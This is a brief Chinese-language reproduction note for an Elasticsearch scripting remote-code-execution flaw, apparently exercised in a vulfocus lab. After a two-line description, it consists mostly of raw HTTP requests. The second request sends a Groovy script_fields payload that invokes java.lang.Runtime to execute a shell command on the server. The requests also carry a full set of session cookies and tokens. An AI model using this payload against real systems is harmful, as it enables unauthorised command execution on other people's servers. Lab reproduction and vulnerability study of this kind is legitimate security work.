漏洞描述

Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。

由于搜索引擎支持使用脚本代码（MVEL），作为表达式进行数据操作，攻击者可以通过MVEL构造执行任意java代码

漏洞环境

vulfocus

漏洞复现

POST /website/blog/ HTTP/1.1
Host: 123.58.236.76:47210
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: screenResolution=1920x1080; JSESSIONID.1fc3a14c=node0gg4lze7t124efg3m2v1deuky1.node0; redirect=1; testing=1; sid=dadec13fa304807a37f996e96b2634a3; thinkphp_show_page_trace=0|0; PHPSESSID=lc66kr5kjd880p5h5lo2urv22b; login_auto=YXs3g0Y%3D%7C31a70f6183dc3c1cf1ab9b3988e9a4dc48a78b3d; eth1_num=0; eth1_time=1650858534; eth1=750.816; g=2; gpEasy_ec69ec6cf3e2=pDtm5E2LgL3KXkF8ep63vLzSyKAoUhZ19rt36Avi; JSESSIONID=25472017-10f5-4752-b799-b421da074a61
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

{
  "name": "test"
}

Untitled

POST /_search?pretty HTTP/1.1
Host: 123.58.236.76:47210
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: screenResolution=1920x1080; JSESSIONID.1fc3a14c=node0gg4lze7t124efg3m2v1deuky1.node0; redirect=1; testing=1; sid=dadec13fa304807a37f996e96b2634a3; thinkphp_show_page_trace=0|0; PHPSESSID=lc66kr5kjd880p5h5lo2urv22b; login_auto=YXs3g0Y%3D%7C31a70f6183dc3c1cf1ab9b3988e9a4dc48a78b3d; eth1_num=0; eth1_time=1650858534; eth1=750.816; g=2; gpEasy_ec69ec6cf3e2=pDtm5E2LgL3KXkF8ep63vLzSyKAoUhZ19rt36Avi; JSESSIONID=25472017-10f5-4752-b799-b421da074a61
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 161

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls /tmp\").getText()"}}}

Untitled